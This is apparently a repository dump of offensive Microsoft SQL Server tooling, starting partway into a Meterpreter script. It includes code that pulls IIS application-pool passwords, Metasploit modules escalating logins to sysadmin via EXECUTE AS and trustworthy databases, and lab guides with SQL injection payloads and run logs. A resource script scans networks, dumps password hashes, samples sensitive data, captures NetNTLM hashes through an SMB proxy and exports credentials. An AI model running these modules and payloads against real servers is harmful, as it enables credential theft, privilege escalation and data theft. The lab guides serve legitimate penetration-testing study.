30 | appcmd_status = client.fs.file.exists?("c:\\windows\\system32\\inetsrv\\appcmd.exe")
31 | if appcmd_status == false
32 | print_error("appcmd.exe was NOT found in its default location.")
33 | return
34 | else
35 | print_good("appcmd.exe was found in its default location.")
36 | end
37 |
38 | # Get list of application pools
39 | print_status("Checking for application pools...")
40 | cmd_get_pools = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppools /text:name"
41 | result_get_pools = run_cmd("#{cmd_get_pools}")
42 | parse_get_pools = result_get_pools.split("\n")
43 | if parse_get_pools.nil?
44 | print_error("No application pools found.")
45 | else
46 | print_good("Found #{parse_get_pools.length} application pools")
47 |
48 | # Get username and password for each pool
49 | parse_get_pools.each do | pool |
50 | pool.strip!
51 | cmd_get_user = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool \"#{pool}\" /text:processmodel.username"
52 | result_get_user = run_cmd("#{cmd_get_user}")
53 | cmd_get_password = "c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool \"#{pool}\" /text:processmodel.password"
54 | result_get_password = run_cmd("#{cmd_get_password}")
55 |
56 | #check if password was recovered
57 | print_status(" - #{pool}: user=#{result_get_user}password=#{result_get_password}")
58 | end
59 | end
60 |
61 | # Get list of virtual directories
62 | print_status("Checking for virtual directories...")
63 | cmd_get_vdirs = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir /text:vdir.name"
64 | result_get_vdirs = run_cmd("#{cmd_get_vdirs}")
65 | parse_get_vdirs = result_get_vdirs.split("\n")
66 | if parse_get_vdirs.nil?
67 | print_error("No application virtual directories found.")
68 | else
69 | print_good("Found #{parse_get_pools.length} virtual directories")
70 |
71 | # Get username and password for each virtual directory
72 | parse_get_vdirs.each do | vdir |
73 | vdir.strip!
74 | #cmd_get_user = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir #{vdir} /text:userName"
75 | #cmd_get_password = "c:\\windows\\system32\\inetsrv\\appcmd.exe list vdir #{vdir} /text:password"
76 | print_status(" - #{vdir}")
77 |
78 | #check if password was recovered
79 | end
80 | end
81 |
82 | # Check if any passwords were found
83 |
84 | # Display passwords
85 |
86 | # Store password in loot
87 |
88 | end
89 |
90 | # Methods
91 | def run_cmd(cmd,token=true)
92 | opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
93 | process = session.sys.process.execute(cmd, nil, opts)
94 | res = ""
95 | while (d = process.channel.read)
96 | break if d == ""
97 | res << d
98 | end
99 | process.channel.close
100 | process.close
101 | return res
102 | end
103 |
104 |
105 |
106 | end
107 |
--------------------------------------------------------------------------------
/mssql_enum_domain_accounts_sqli_lab.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Enumerating Windows Domain Accounts Through SQL Server with a Low Privilege Login via Error Based SQLi
2 | Lab setup guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_domain_accounts_sqli.rb module.
5 |
6 | ---------------------------
7 | Setup the Domain and server
8 | ---------------------------
9 | 1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not you can follow this guide to setup a DC:http://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx
10 |
11 | 2. Next, Add a server to the domain that can be used as the sql server. http://technet.microsoft.com/en-us/library/bb456990.aspx
12 |
13 | 3. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio on the system just added to the domain. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
14 |
15 | 4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
16 |
17 | 5. Make sure to enable the tcp protocol so that module can connect to the listener.
18 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
19 |
20 |
21 | ---------------------------
22 | Setup the Database
23 | ---------------------------
24 | 1. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
25 |
26 | 3. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab.
27 |
28 | -- Create database
29 | CREATE DATABASE MyAppDb
30 |
31 | 2. Press the "New Query" button and use the TSQL below to create sql login that owns the db.
32 |
33 | -- Create login
34 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
35 |
36 | -- Setup MyAppUser1 the db_owner role in MyAppDb
37 | USE MyAppDb
38 | ALTER LOGIN [MyUser1] with default_database = [MyAppDb];
39 | CREATE USER [MyUser1] FROM LOGIN [MyUser1];
40 | EXEC sp_addrolemember [db_owner], [MyUser1];
41 |
42 | 4. Add a table with records
43 |
44 | -- Create table
45 | CREATE TABLE dbo.NOCList
46 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
47 |
48 | -- Add sample records to table
49 | INSERT dbo.NOCList (SpyName, RealName)
50 | VALUES ('James Bond','Sean Connery')
51 | INSERT dbo.NOCList (SpyName, RealName)
52 | VALUES ('Ethan Hunt','Tom Cruise')
53 | INSERT dbo.NOCList (SpyName, RealName)
54 | VALUES ('Jason Bourne','Matt Damon')
55 |
56 |
57 | ----------------
58 | Web Server Setup
59 | ----------------
60 | 1. Setup a local IIS server
61 | 2. Make sure its configured to process asp pages
62 | 3. Download testing.asp to web root from https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp
63 | 4. Verify the page works by accessing: http://127.0.0.1/testing2.asp?id=1
64 | 5. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing2.asp?id=@@version
65 |
66 | ------------------
67 | Test Module
68 | ------------------
69 |
70 | 6. Test out the metasploit module to enumerate domain accounts.
71 | Note: For the test set the fuzznum to 1000, but you would set it to 10000
72 | or above in a real environment.
73 |
74 | use auxiliary/admin/mssql/mssql_enum_windows_domain_accounts_sqli
75 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > set rhost 10.2.9.101
76 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > set GET_PATH /testing2.asp?id=1+and+1=[SQLi];--
77 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > run
78 |
79 | [*] 10.2.9.101:80 - Grabbing the server and domain name...
80 | [+] 10.2.9.101:80 - Server name: LVA
81 | [+] 10.2.9.101:80 - Domain name: DEMO
82 | [*] 10.2.9.101:80 - Grabbing the SID for the domain...
83 | [+] 10.2.9.101:80 - Domain sid: 0105000000000005150000009CC30DD479441EDEB31027D0
84 | [*] 10.2.9.101:80 - Brute forcing 1000 RIDs through the SQL Server, be patient...
85 | [*] 10.2.9.101:80 - DEMO\administrator
86 | [*] 10.2.9.101:80 - DEMO\Guest
87 | [*] 10.2.9.101:80 - DEMO\krbtgt
88 | [*] 10.2.9.101:80 - DEMO\Domain Admins
89 | [*] 10.2.9.101:80 - DEMO\Domain Users
90 | [*] 10.2.9.101:80 - DEMO\Domain Guests
91 | [*] 10.2.9.101:80 - DEMO\Domain Computers
92 | [*] 10.2.9.101:80 - DEMO\Domain Controllers
93 | [*] 10.2.9.101:80 - DEMO\Cert Publishers
94 | [*] 10.2.9.101:80 - DEMO\Schema Admins
95 | [*] 10.2.9.101:80 - DEMO\Enterprise Admins
96 | [*] 10.2.9.101:80 - DEMO\Group Policy Creator Owners
97 | [*] 10.2.9.101:80 - DEMO\RAS and IAS Servers
98 | [*] 10.2.9.101:80 - DEMO\HelpServicesGroup
99 | [+] 10.2.9.101:80 - 14 user accounts, groups, and computer accounts were found.
100 | [*] Query results have been saved to: /root/.msf4/loot/20141125095848_default_10.2.9.101_windows_domain_a_845435.txt
101 | [*] Auxiliary module execution completed
102 | msf auxiliary(mssql_enum_windows_domain_accounts_sqli) >
103 |
104 |
--------------------------------------------------------------------------------
/mssql_escalate_dbowner_sqli_lab_guide.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Escalating from db_Owner to sysadmin via SQL Injection
2 | Lab setup guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance and asp page that can be used to replicate the scenario exploited by the mssql_escalate_dbowner module.
5 |
6 | ----------------
7 | Database Setup
8 | ----------------
9 |
10 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
11 |
12 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
13 |
14 | 3. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
15 |
16 | 4. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab.
17 |
18 | -- Create database
19 | CREATE DATABASE MyAppDb
20 |
21 | -- Verify sa is the owner of the application database
22 | SELECT suser_sname(owner_sid)
23 | FROM sys.databases
24 | WHERE name = 'MyAppDb'
25 |
26 | 5. Press the "New Query" button and use the TSQL below to create a database user named "MyAppUser" for the lab. In the real world some DBAs create an account like this to allow applications to connect to the database server.
27 |
28 | -- Create login
29 | CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';
30 |
31 | 6. Press the "New Query" button and use the TSQL below to assign "MyAppUser" the "db_owner" role in the "MyAppDb" database. In the real world a DBA might do this so that the application can access what it needs in its application database once logged in.
32 |
33 | -- Setup MyAppUsers the db_owner role in MyAppDb
34 | USE MyAppDb
35 | ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
36 | CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
37 | EXEC sp_addrolemember [db_owner], [MyAppUser];
38 |
39 | 7. Confirm the "MyAppUser" was added as db_owner.
40 |
41 | -- Verify the user was added as db_owner
42 | select rp.name as database_role, mp.name as database_user
43 | from sys.database_role_members drm
44 | join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
45 | join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
46 |
47 | 8. Set the "MyAppDb" database as trusted using the TSQL below. DBAs tend to do this when custom stored procedures access tables from other databases or when the custom stored procedures use native stored procedures that access external resources.
48 |
49 | -- Flag database as trusted
50 | ALTER DATABASE MyAppDb SET TRUSTWORTHY ON
51 |
52 | 9. The query below will return all of the databases in the SQL Server instance, and the "MyAppDb" and "MSDB" databases should be flagged as trustworthy.
53 |
54 | SELECT a.name,b.is_trustworthy_on
55 | FROM master..sysdatabases as a
56 | INNER JOIN sys.databases as b
57 | ON a.name=b.name;
58 |
59 | 10. Add a table with records
60 |
61 | -- Create table1
62 | CREATE TABLE dbo.NOCList
63 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
64 |
65 | -- Add sample records to table
66 | INSERT dbo.NOCList (SpyName, RealName)
67 | VALUES ('James Bond','Sean Connery')
68 | INSERT dbo.NOCList (SpyName, RealName)
69 | VALUES ('Ethan Hunt','Tom Cruise')
70 | INSERT dbo.NOCList (SpyName, RealName)
71 | VALUES ('Jason Bourne','Matt Damon')
72 |
73 | 11. Verify the table was addded
74 |
75 | SELECT * FROM NOCList
76 |
77 | ----------------
78 | Web Server Setup
79 | ----------------
80 | 1. Setup a local IIS server
81 | 2. Make sure its configured to process asp pages
82 | 3. Download testing.asp to web root from https://github.com/nullbind/Metasploit-Modules/blob/master/testing.asp
83 | 4. Update the db_server, db_name, db_username and db_userpassword variables
84 | 5. Verify the page works by accessing: http://127.0.0.1/testing.asp?id=1
85 | 6. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing.asp?id=@@version
86 |
87 | ---------------
88 | Setup Module
89 | ---------------
90 | use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
91 | set GET_PATH /testing.asp?id=1+and+1=[SQLi];--
92 | set rhost 127.0.0.1
93 |
94 | msf auxiliary(mssql_escalate_dbowner_sqli) > run
95 |
96 | [*] Grabbing the database user name from 10.2.9.101:80...
97 | [+] Database user: MyAppUser
98 | [*] Checking if MyAppUser is already a sysadmin...
99 | [+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.
100 | [*] Checking for trusted databases owned by sysadmins...
101 | [+] 1 affected database(s) were found:
102 | [*] - LVADB
103 | [*] Checking if MyAppUser has the db_owner role in any of them...
104 | [+] MyAppUser has the db_owner role on LVADB.
105 | [*] Attempting to add MyAppUser to sysadmin role...
106 | [+] Success! MyAppUser is now a sysadmin!
107 | [*] Auxiliary module execution completed
108 |
109 | msf auxiliary(mssql_escalate_dbowner_sqli) > run
110 |
111 | [*] Grabbing the database user name from 10.2.9.101:80...
112 | [+] Database user: MyAppUser
113 | [*] Checking if MyAppUser is already a sysadmin...
114 | [+] MyAppUser is already a sysadmin, no esclation needed.
115 | [*] Auxiliary module execution completed
116 | msf auxiliary(mssql_escalate_dbowner_sqli) >
117 |
--------------------------------------------------------------------------------
/mssql_escalate_executeas.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL
12 |
13 | def initialize(info = {})
14 | super(update_info(info,
15 | 'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
16 | 'Description' => %q{
17 | This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user.
18 | In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
19 | privileges.
20 | },
21 | 'Author' => [ 'nullbind '],
22 | 'License' => MSF_LICENSE,
23 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
24 | ))
25 | end
26 |
27 | def run
28 | # Check connection and issue initial query
29 | print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
30 | if mssql_login_datastore
31 | print_good('Connected.')
32 | else
33 | print_error('Login was unsuccessful. Check your credentials.')
34 | disconnect
35 | return
36 | end
37 |
38 | # Query for sysadmin status
39 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
40 | user_status = check_sysadmin
41 |
42 | # Check if user has sysadmin role
43 | if user_status == 1
44 | print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
45 | disconnect
46 | return
47 | else
48 | print_status("You're NOT a sysadmin, let's try to change that.")
49 | end
50 |
51 | # Get a list of the users that can be impersonated
52 | print_status("Enumerating a list of users that can be impersonated...")
53 | imp_user_list = check_imp_users
54 | if imp_user_list.nil? || imp_user_list.length == 0
55 | print_error('Sorry, the current user doesnt have permissions to impersonate anyone.')
56 | disconnect
57 | return
58 | else
59 | # Display list of accessible databases to user
60 | print_good("#{imp_user_list.length} users can be impersonated:")
61 | imp_user_list.each do |db|
62 | print_status(" - #{db[0]}")
63 | end
64 | end
65 |
66 | # Check if any of the users that can be impersonated are sysadmins
67 | print_status('Checking if any of them are sysadmins...')
68 | imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
69 | if imp_user_sysadmin.nil?
70 | print_error("Sorry, none of the users that can be impersonated are sysadmins.")
71 | disconnect
72 | return
73 | end
74 |
75 | # Attempt to escalate to sysadmin
76 | print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
77 | escalate_status = escalate_privs(imp_user_sysadmin[0])
78 | if escalate_status
79 | # Check if escalation was successful
80 | user_status = check_sysadmin
81 | if user_status == 1
82 | print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
83 | else
84 | print_error("Fail buckets, something went wrong.")
85 | end
86 | else
87 | print_error("Error while trying to escalate privileges.")
88 | end
89 |
90 | disconnect
91 | return
92 | end
93 |
94 | # Checks if user is a sysadmin
95 | def check_sysadmin
96 | # Setup query to check for sysadmin
97 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
98 |
99 | # Run query
100 | result = mssql_query(sql)
101 |
102 | # Parse query results
103 | parse_results = result[:rows]
104 | status = parse_results[0][0]
105 |
106 | # Return status
107 | return status
108 | end
109 |
110 | # Gets trusted databases owned by sysadmins
111 | def check_imp_users
112 | # Setup query
113 | sql = "SELECT DISTINCT b.name
114 | FROM sys.server_permissions a
115 | INNER JOIN sys.server_principals b
116 | ON a.grantor_principal_id = b.principal_id
117 | WHERE a.permission_name = 'IMPERSONATE'"
118 |
119 | result = mssql_query(sql)
120 |
121 | # Return on success
122 | return result[:rows]
123 | end
124 |
125 | # Checks if user has the db_owner role
126 | def check_imp_sysadmin(trust_db_list)
127 | # Check if the user has the db_owner role is any databases
128 | trust_db_list.each do |imp_user|
129 | # Setup query
130 | sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
131 |
132 | # Run query
133 | result = mssql_query(sql)
134 |
135 | # Parse query results
136 | parse_results = result[:rows]
137 | status = parse_results[0][0]
138 | if status == 1
139 | print_good(" - #{imp_user[0]} is a sysadmin!")
140 | return imp_user
141 | else
142 | print_status(" - #{imp_user[0]} is NOT sysadmin!")
143 | end
144 | end
145 | nil
146 | end
147 |
148 | def escalate_privs(imp_user_sysadmin)
149 | # Create the evil stored procedure WITH EXECUTE AS OWNER
150 | evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
151 | EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
152 |
153 | mssql_query(evil_sql_create)
154 |
155 | true
156 | end
157 | end
158 |
--------------------------------------------------------------------------------
/mssql_escalate_executeas_sqli_lab_setup.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Escalating privileges using EXCUTE AS via SQLi
2 | Lab Setup Guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_executeas_sqli module.
5 |
6 | ----------------------
7 | Database Setup
8 | ----------------------
9 |
10 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
11 |
12 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
13 |
14 | 3. Make sure to enable the tcp protocol so that module can connect to the listener.
15 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
16 |
17 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
18 |
19 | 5. Press the "New Query" button and use the TSQL below to create a new users for the lab.
20 |
21 | -- Create login 1
22 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
23 |
24 | -- Create login 2
25 | CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
26 |
27 | -- Create login 3
28 | CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
29 |
30 | 6. Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa.
31 | USE master;
32 | GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
33 | GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
34 | GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
35 | GO
36 |
37 | 7. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab.
38 |
39 | -- Create database
40 | CREATE DATABASE MyAppDb
41 |
42 | 8. Add a table with records
43 |
44 | -- Create table
45 | CREATE TABLE dbo.NOCList
46 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
47 |
48 | -- Add sample records to table
49 | INSERT dbo.NOCList (SpyName, RealName)
50 | VALUES ('James Bond','Sean Connery')
51 | INSERT dbo.NOCList (SpyName, RealName)
52 | VALUES ('Ethan Hunt','Tom Cruise')
53 | INSERT dbo.NOCList (SpyName, RealName)
54 | VALUES ('Jason Bourne','Matt Damon')
55 |
56 | 9. Press the "New Query" button and use the TSQL below to assign "MyUser1" the "db_owner" role in the "MyAppDb" database.
57 |
58 | -- Setup MyAppUsers the db_owner role in MyAppDb
59 | USE MyAppDb
60 | ALTER LOGIN [MyUser1] with default_database = [MyAppDb];
61 | CREATE USER [MyUser1] FROM LOGIN [MyUser1];
62 | EXEC sp_addrolemember [db_owner], [MyUser1];
63 |
64 | 10. Log into the SQL Server using the MyUser1 account.
65 |
66 | 11. Press the "New Query" button and use the TSQL below to confirm the permissions were added.
67 |
68 | SELECT b.name
69 | FROM sys.server_permissions a
70 | INNER JOIN sys.server_principals b
71 | ON a.grantor_principal_id = b.principal_id
72 | WHERE a.permission_name = 'IMPERSONATE'
73 |
74 | 12. Test out the impersonate in another query window with the TSQL below.
75 |
76 | select SYSTEM_USER
77 | select IS_SRVROLEMEMBER('sysadmin')
78 | execute as login = 'sa'
79 | select SYSTEM_USER
80 | select IS_SRVROLEMEMBER('sysadmin')
81 | revert
82 | select SYSTEM_USER
83 | select IS_SRVROLEMEMBER('sysadmin')
84 |
85 |
86 | ----------------
87 | Web Server Setup
88 | ----------------
89 | 1. Setup a local IIS server
90 | 2. Make sure its configured to process asp pages
91 | 3. Download testing.asp to web root from https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp
92 | 4. Verify the page works by accessing: http://127.0.0.1/testing2.asp?id=1
93 | 5. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing2.asp?id=@@version
94 |
95 |
96 | -------------------------
97 | Test MSF Module
98 | -------------------------
99 | 1. Test out the module. Verify escalation works.
100 |
101 | use auxiliary/admin/mssql/mssql_esclate_executeas_sqli
102 | set rhost
103 | set rport
104 | set GET_PATH /testing2.asp?id=1+and+1=[SQLi];--
105 |
106 | msf auxiliary(mssql_escalate_executeas_sqli) > run
107 |
108 | [*] 10.2.9.101:80 - Grabbing the database user name...
109 | [+] 10.2.9.101:80 - Database user: MyUser1
110 | [*] 10.2.9.101:80 - Checking if MyUser1 is already a sysadmin...
111 | [*] 10.2.9.101:80 - MyUser1 is NOT a sysadmin, let's try to escalate privileges.
112 | [*] 10.2.9.101:80 - Enumerating a list of users that can be impersonated...
113 | [+] 10.2.9.101:80 - 3 users can be impersonated:
114 | [*] 10.2.9.101:80 - MyUser2
115 | [*] 10.2.9.101:80 - MyUser3
116 | [*] 10.2.9.101:80 - sa
117 | [*] 10.2.9.101:80 - Checking if any of them are sysadmins...
118 | [*] 10.2.9.101:80 - MyUser2 is NOT a sysadmin
119 | [*] 10.2.9.101:80 - MyUser3 is NOT a sysadmin
120 | [+] 10.2.9.101:80 - sa is a sysadmin!
121 | [*] 10.2.9.101:80 - Attempting to impersonate sa...
122 | [+] 10.2.9.101:80 - Success! MyUser1 is now a sysadmin!
123 | [*] Auxiliary module execution completed
124 |
125 | 2. Test out the module. Verify that module stops if your already a sysadmin.
126 |
127 | msf auxiliary(mssql_escalate_executeas_sqli) > run
128 |
129 | [*] 10.2.9.101:80 - Grabbing the database user name...
130 | [+] 10.2.9.101:80 - Database user: MyUser1
131 | [*] 10.2.9.101:80 - Checking if MyUser1 is already a sysadmin...
132 | [-] 10.2.9.101:80 - MyUser1 is already a sysadmin, no escalation needed.
133 | [*] Auxiliary module execution completed
134 | msf auxiliary(mssql_escalate_executeas_sqli) >
135 |
--------------------------------------------------------------------------------
/sql.rc:
--------------------------------------------------------------------------------
1 | #---------------------------------
2 | # Start logging
3 | #---------------------------------
4 | spool /tmp/msf-sql.log
5 |
6 |
7 | #---------------------------------
8 | # Setup global vars - UPDATE THIS
9 | #---------------------------------
10 | setg USERNAME User1
11 | setg PASSWORD Password1
12 | setg DOMAIN acme.com
13 | setg USE_WINDOWS_AUTHENT true
14 | setg SMBPROXY 10.0.0.230
15 |
16 |
17 | #---------------------------------
18 | # Identify live SQL Servers - UPDATE THIS
19 | #---------------------------------
20 | use auxiliary/scanner/mssql/mssql_ping
21 | set rhosts file:///pentest/sql.txt
22 | set threads 50
23 | exploit
24 |
25 |
26 | #---------------------------------
27 | # Test access with domain creds
28 | #---------------------------------
29 | use auxiliary/scanner/mssql/mssql_login
30 | set VERBOSE false
31 | set THREADS 50
32 |
33 |
34 | framework.db.hosts.each do |host|
35 | host.services.each do |service|
36 | if service.name == "mssql" and service.state == "open"
37 | self.run_single("set RHOSTS #{host.address}")
38 | self.run_single("set RPORT #{service.port}")
39 | self.run_single("run")
40 | end
41 | end
42 | end
43 |
44 |
45 |
46 | #---------------------------------
47 | # Test for sysadmin access
48 | #---------------------------------
49 | use auxiliary/admin/mssql/mssql_sql
50 | set VERBOSE false
51 | set THREADS 50
52 | set sql select \'server: \' + @@servername + \',sysadmin: \' + cast(IS_SRVROLEMEMBER(\'sysadmin\') as varchar(10)) + \',links: \' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + \',clustered: \' + (select cast(SERVERPROPERTY(\'IsClustered\') as varchar(10))) as OUTPUT
53 |
54 |
55 | framework.db.hosts.each do |host|
56 | host.services.each do |service|
57 | if service.name == "mssql" and service.state == "open"
58 | self.run_single("set RHOST #{host.address}")
59 | self.run_single("set RPORT #{service.port}")
60 | self.run_single("run")
61 | end
62 | end
63 | end
64 |
65 |
66 |
67 | #---------------------------------
68 | # List accessible databases
69 | #---------------------------------
70 | use auxiliary/admin/mssql/mssql_sql
71 | set VERBOSE false
72 | set THREADS 50
73 | set sql select name from master..sysdatabases where has_dbaccess(name)=1
74 |
75 |
76 | framework.db.hosts.each do |host|
77 | host.services.each do |service|
78 | if service.name == "mssql" and service.state == "open"
79 | self.run_single("set RHOST #{host.address}")
80 | self.run_single("set RPORT #{service.port}")
81 | self.run_single("run")
82 | end
83 | end
84 | end
85 |
86 |
87 |
88 | #---------------------------------
89 | # Dump accessible config info
90 | #---------------------------------
91 | use auxiliary/admin/mssql/mssql_enum
92 | set VERBOSE false
93 |
94 |
95 | framework.db.hosts.each do |host|
96 | host.services.each do |service|
97 | if service.name == "mssql" and service.state == "open"
98 | self.run_single("set RHOST #{host.address}")
99 | self.run_single("set RPORT #{service.port}")
100 | self.run_single("run")
101 | end
102 | end
103 | end
104 |
105 |
106 |
107 | #---------------------------------
108 | # Dump password hashes if possible
109 | #---------------------------------
110 | use auxiliary/scanner/mssql/mssql_hashdump
111 | set VERBOSE false
112 | set THREADS 1
113 |
114 |
115 | framework.db.hosts.each do |host|
116 | host.services.each do |service|
117 | if service.name == "mssql" and service.state == "open"
118 | self.run_single("set RHOSTS #{host.address}")
119 | self.run_single("set RPORT #{service.port}")
120 | self.run_single("run")
121 | end
122 | end
123 | end
124 |
125 |
126 | #---------------------------------
127 | # Dump all of the SQL logins
128 | #---------------------------------
129 | use auxiliary/admin/mssql/mssql_enum_sql_logins
130 | set FuzzNum 500
131 | set VERBOSE false
132 |
133 |
134 | framework.db.hosts.each do |host|
135 | host.services.each do |service|
136 | if service.name == "mssql" and service.state == "open"
137 | self.run_single("set RHOST #{host.address}")
138 | self.run_single("set RPORT #{service.port}")
139 | self.run_single("run")
140 | end
141 | end
142 | end
143 |
144 |
145 |
146 | #---------------------------------
147 | # Dump sample of senstitve data
148 | #---------------------------------
149 | use auxiliary/admin/mssql/mssql_findandsampledata
150 | set SAMPLE_SIZE 5
151 | set VERBOSE true
152 |
153 |
154 | framework.db.hosts.each do |host|
155 | host.services.each do |service|
156 | if service.name == "mssql" and service.state == "open"
157 | self.run_single("set RHOSTS #{host.address}")
158 | self.run_single("set RPORT #{service.port}")
159 | self.run_single("run")
160 | end
161 | end
162 | end
163 |
164 |
165 |
166 | #----------------------------------------
167 | # Capture service account NetNTLM hashes
168 | #----------------------------------------
169 | use auxiliary/admin/mssql/mssql_ntlm_stealer
170 | set VERBOSE false
171 | set THREADS 50
172 |
173 |
174 | framework.db.hosts.each do |host|
175 | host.services.each do |service|
176 | if service.name == "mssql" and service.state == "open"
177 | self.run_single("set RHOSTS #{host.address}")
178 | self.run_single("set RPORT #{service.port}")
179 | self.run_single("run")
180 | end
181 | end
182 | end
183 |
184 |
185 |
186 | #----------------------------------------
187 | # Export list
188 | #----------------------------------------
189 | creds -o /tmp/msf-creds.csv
190 |
--------------------------------------------------------------------------------
/mssql_enum_sql_logins.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL
12 |
13 | def initialize(info = {})
14 | super(update_info(info,
15 | 'Name' => 'Microsoft SQL Server - Enumerate SQL Logins',
16 | 'Description' => %q{
17 | This module can be used to obtain a list of all logins from a SQL Server with any
18 | login. Selecting all of the logins from the master..syslogins table is restricted
19 | to sysadmins. However, logins with the PUBLIC role (everyone) can quickly enumerate
20 | all SQL Server logins using the SUSER_SNAME function by fuzzing the principal_id parameter.
21 | This is pretty simple, because the principal ids assigned to logins are incremental. Once
22 | logins have been enumerated they can be verified via sp_defaultdb error ananlysis.
23 | This is important, because not all of the principal ids resolve to SQL logins. Some resolve
24 | to roles etc. Once logins have been enumerated they can be used in dictionary attacks.
25 | },
26 | 'Author' => [ 'nullbind '],
27 | 'License' => MSF_LICENSE,
28 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
29 | ))
30 |
31 | register_options(
32 | [
33 | OptInt.new('FuzzNum', [ true, 'Number of principal_ids to fuzz.', '300']),
34 | ], self.class)
35 | end
36 |
37 | def run
38 | # Check connection and issue initial query
39 | print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
40 | if mssql_login_datastore
41 | print_good('Connected.')
42 | else
43 | print_error('Login was unsuccessful. Check your credentials.')
44 | disconnect
45 | return
46 | end
47 |
48 | # Query for sysadmin status
49 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
50 | user_status = check_sysadmin
51 |
52 | # Check if user has sysadmin role
53 | if user_status == 1
54 | print_good("#{datastore['USERNAME']} is a sysadmin.")
55 | else
